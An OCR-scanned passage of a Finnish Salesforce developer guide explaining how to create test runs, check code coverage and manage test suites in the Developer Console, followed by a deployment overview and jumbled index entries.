luokka ei ole enda testien kattama. Kun muokkaat luokkaa ja tallennat sen, sen koodin kattavuus kumotaan. Tarkista kyseisen luokan
koodin kattavuus suorittamalla testit uudelleen.

KATSO MYOS:
Testisuorituksen luominen
Testien suorittaminen Developer-konsolissa

Apex Developer Guide: Code Coverage Best Practices

Testisuorituksen luominen

Testisuoritus on kokoelma luokkia, jotka sisaltdvét testimetodeja. Mdaritd testisuoritus kehittdjan konsolissa suorittaaksesi testimetodeja
yhdessd tai useammassa testiluokassa.

1. Napsauta kehittajan konsolista Tests (Testit) > New Run (Uusi suoritus).

2. Jos haluat rajoittaa, montako testid voi epdonnistua ennen kuin suorituksesi keskeytetadn, napsauta Settings (Asetukset). Syota
arvo Number of failures allowed (Virheiden sallittu ma&rd) -kenttddn ja napsauta OK.

Jos haluat sallia kaikkien organisaatiosi testien suorituksen riippumatta epdonnistuiden testien mdardstd, sy6td Number of
failures allowed (Virheiden sallittu m&&rd) -kenttddn -1 taijdta se tyhjdksi. Jos haluat estda uusien testien
suorituksen, kun tietty maadra testejd epaonnistuu, syétd Number of failures allowed (Virheiden sallittu
mia&dra) -arvoksi0— 1000 000. Arvo 0 keskeyttdd testin ensimmaisestd virheestd. Arvo 1 keskeyttdd testin toisesta virheestd ja niin
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edelleen. Muista, ettd korkeat arvot saattavat hidastaa suorituskykya. Jos kasvatat Number of failures allowed
(Virheiden sallittu m&&ra) -arvoa 1000 testilld, testisuoritus kestdd noin 3 sekuntia pidempaan, pois lukien testien
kdynnistysajat.

Tama arvo koskettaa kaikkia suorittamiasi testeja, kunnes suljet kehittdjan konsolin tai maaritat uuden arvon.

3. Valitse luokka Test Classes (Testiluokat) -sarakkeesta.

Suodata luokkia kirjoittamalla tekstid Filter test classes (* = any) (Suodata testiluokkia (* = mika tahansa)) -kenttadn. Jos haluat
valita tiettyjd testimetodeja, napsauta testiluokkaa ja valitse testit keskisarakkeesta. Voit pitdd SHIFT- tai CTRL-ndppdintd pohjassa
valitaksesi useita testiluokkia. Jos haluat valita kaikkien valitsemiesi luokkien kaikki metodit, napsauta Add Selected (Lisaa valitut).

Select Tests X
Test Classes sampleClassTest Tests Selected Tests
Mame « Mame -« Mame
testMoreCod
AmesomeClassTest estMoreCode 5 AwesomeClassTest
SampleClassTest testSampleCode i
ClIAEESE G testMyAwesomeMethad
testMyAwesometethodIFFalse
testMyawesomeMethodIfTrue
& sampleClassTest
Al Methods Selected
Add Selected Remove Selected
[My Mamespace] > Settings || Run

4. Kun kaikki haluamasi metodit on lisdtty Selected Tests (Valitut testit) -sarakkeeseen, napsauta Run (Suorita).

Testisuoritus ilmestyy Tests (Testit) -valilehteen. Jos haluat keskeyttda testin, napsauta Test (Testi) > Abort (Keskeyta).

@ Nofe: Jos testimetodisi kutsuvat muita metodeja tai luokkia, jotka on mddritetty organisaatiossasi testeiksi, kyseiset metodit
ja luokat suoritetaan my®os.

5. Laajenna testisuoritus Tests (Testit) -valilehdessa ndhdaksesi suorituksen kunkin luokan kdynnistdman kunkin metodin tulokset.

Nofte: Testiluokat eivét vaadi koodin kattavuutta, joten niiden kattavuutena ndytetdan Overall Code Coverage (Koodin
kokonaiskaatavuus) -ikkunassa 0 % eivatka ne vaikuta koodin kokonaiskattavuuteen.

6. Kaksoisnapsauta suoritettua testisuoritusta avataksesi sen tulokset lisdtietondkymadssa. Tama lisdtietondkyma nayttad testatun luokan,
testatun metodin, keston, tuloksen (ohitettu, lapaisi tai epdonnistui) ja mahdollisen virheviestin.

Jos testi epdonnistui, Stack Trace (Pinoseuranta) -sarakkeessa ndytetdan metodi ja rivinumero, jossa testi epdonnistui.

@ Nofte: Etvoi kdyttdd synkronoitujen testisuoritusten lokeja Tests (Testit) -vdlilehdestd. Voit kuitenkin kayttda kaikkien
testisuoritusten lokeja Logs (Lokit) -valilehdesta.

7. Jos haluat ndhda testimetodin tarjoaman kattavuuden jokaiselle luokalle Class Code Coverage (Luokan koodin kattavuus) -ikkunassa,
valitse metodi.

8. Jos haluat tyhjentad tamanhetkiset tulokset, napsauta Test (Testi) > Clear Test Data (Tyhjenna testitiedot).
KATSO MYOS:

Testien suorittaminen Developer-konsolissa

Koodin kattavuuden tarkistaminen
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Apex-testiluokkien joukkojen hallinta testisarjoilla

Testisarja on kokoelma Apex-testiluokkia, jotka suoritetaan yhdessa. Luo esimerkiksi sarja testeistd, jotka suoritat joka kerta, kun valmistaudut
kdyttddnottoon tai Salesforce julkaisee uuden version. Madritd testisarja Developer Console -konsolissa valitaksesi joukon testiluokkia,
joita suoritat usein yhdessa.

1. Valitse kehittdjdn konsolistaTest (Testi) > New Suite (Uusi sarja).
2. Kirjoita testisarjallesi nimi ja napsauta OK.

3. Kaytd nuolindppaimia siirtdaksesi luokkia Available Test Classes (Kdytettdvissa olevat testiluokat) -sarakkeen ja Selected Test Classes
(Valitut testiluokat) -sarakkeen valilld ja napsauta sitten Save (Tallenna).

Jos haluat muuttaa testisarjaan sisaltyvid testejd, valitse Test (Testi) > Suite Manager (Sarjojen hallinta) > Testisarjasi > Edit
Suite (Muokkaa sarjaa). (Voit myos kaksoisnapsauttaa testisarjan nimea muokataksesi sarjaa). Kayta nuolindppaimia siirtadksesi luokkia
Available Test Classes (Kdytettdvissd olevat testiluokat) -sarakkeen ja Selected Test Classes (Valitut testiluokat) -sarakkeen valilld ja napsauta
sitten Save (Tallenna).

Jos haluat suorittaa testiluokkien sarjoja, valitse Test (Testi) > New Suite Run (Uusi sarjan suoritus).

Kayttoonotto

Tama osio sisdltaa tietoja koodaamiesi muutosten kdyttddnotosta organisaatiollesi.

Koodimuutokset tulisi tehda sandboxissa, jotta voit testata muutoksiasi ennen niiden kdyttdonottoa. Sandboxit sisdltavat tiedoistasi,
koodeistasi ja kokoonpanoasetuksistasi kopioita, jotka on eristetty tuotanto-organisaatiostasi. Voit mukauttaa organisaatiotasi ja testata
sovelluksia sandboxissa ja ottaa muutokset kdyttddn tuotanto-organisaatiossa vasta, kun ne ovat valmiita. Joskus useat kehittdjat tekevat
toitd eri sandboxeissa ja koordinoivat sitten tekemiensa muutosten kdyttdonoton. Ndissa osioissa on listietoja kayttédnottoprosessista
sekd muutosten kehittdmiseen ja kdyttdonottoon tarkoitetuista tyokaluista:

e Kdyttdonoton yhteenveto

e Valitse tyokalusi muutosten kehittdmiseen ja kayttéonottamiseen
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Siirrot, toistaminen 3, 260
Sivut, Visualforce
yleiskatsaus 64
SOQL9-10
Sovelluksen kayttdoikeus
hylkda kayttooikeus 232
pyynnot 230
pyyntéjen hyvaksyminen 231
staattiset resurssit
yhteenveto 76
Staattiset resurssit
hallinta 78
maadrittdminen 77
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suojaus
code 91
Suojaus
Visualforce 88-89
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InboundEmail.BinaryAttachment-objekti 108

303



Hakemisto
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InboundEmail. TextAttachment-objekti 108 virheenkorjausloki 11, 287
InboundEmailResult-objekti 108 Virheenkorjauslokien suodattaminen 273
InboundEnvelope-objekti 109 virheenkorjauslokit
muokkaaminen 99 suodattimet 273
sahkdpostipalveluosoitteet tasot 273
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lisdtiedot 269

testaaminen 56, 289
Testisarjat 299
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luokat ja kaynnistimet 287
order of precedence 272
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Nakymatila 266
profiilit 90

selaimen asetukset 72
sivujen hallinta 68
sivujen luominen 64
sivut 64

sivutiedot 67
Staattiset resurssit 76
suojaus 72, 88-89
Tyokalut 266

version asetukset 71

Toimintolinkkiryhmien mallit
muokkaaminen 145
pakkaaminen 146
poistaminen 146
suunnittele 134

tunnukset, kumoaminen 217

Tunnus-URL-osoitteet 220, 225, 228

tyonkulkusadanndot
virheenkorjauslokit 267

tydntoilmoitukset
testaaminen 175-177

virheviestit . .
177 virheenkorjaus 3, 260
vdlilehtien luominen 69

URLFOR-funktio yhteenveto 63

76 Visualforce-sivut
vahvistussasnnet yhdistdmiskentdt 68

virheenkorjauslokit 267 valilehdet
version asetukset 55, 71 Visualforce
virheenkorjaus 69

kirjaustaso 273 WSDL-tiedostot

suodattaminen 273 lataaminen
Virheenkorjaus 129

debug log order of precedence 272 )

JavaScript 80 yhdistetty sovellus

JWT bearer -valtuuden kulku 197

SAML bearer -kulku 193

terminologia 186

todennuksen kulku 188, 201, 204, 209, 211, 214

luokkien ja kaynnistimien lokitasot 287
profilointitiedot 258

prosessin ldpikdyminen 256

tydnkulku 257
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Yhdistetty sovellus
aloitus-URL 168, 170
Android GCM -tyéntoilmoitukset, testaaminen 177
APNS-tyontoilmoitukset, testaus 176
asennuksen poistaminen 186
hallinta 169
hallitse kdyttdoikeuksia 167168, 170
IP-rajoitukset 167-168, 170
kdyton valvonta 173
lisdtiedot 168
luo 155
luominen 157
muokkaaminen 164, 167-168, 170
pakkaaminen 164
poistaminen 164
tydntdilmoitusten testaaminen 175
tydntdilmoitusten virheviestit 177
Yhdistettyjen sovellusten IP-alueet 164
Yhdistetyn sovelluksen aloitus-URL 170
Yhdistetyn sovelluksen asennuksen poistaminen 186
Yhdistetyn sovelluksen hallinta 169
Yhdistetyn sovelluksen IP-rajoitukset 167-168, 170
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Yhdistetyn sovelluksen kayttdoikeuksien hallinta 167-168, 170
Yhdistetyn sovelluksen kdyton valvonta 173
Yhdistetyn sovelluksen luominen 155, 157
Yhdistetyn sovelluksen muokkaaminen 164, 167-168, 170
yhdistetyn sovelluksen pakkaaminen 164
Yhdistetyn sovelluksen poistaminen 164
yhdistetyt sovellukset
kdyttdjien provisiointi 179, 181, 183
Yhdistetyt sovellukset
OpenlID Connect Discovery -padtepisteen kdyttaminen 228
sovellusten hallinta 174
Todennuskokoonpanon paatepisteen kdyttaminen 229
Userlnfo padtepisteen kdyttdminen 225
Yhdistamiskentat
S-Control-objektit 124
Yksikkotestit 290, 293-297, 299
Yleiset kysymykset
Apex 62
Luokat ja kdynnistimet 62
palvelinkutsu 62
ulkoinen verkkopalvelu 62
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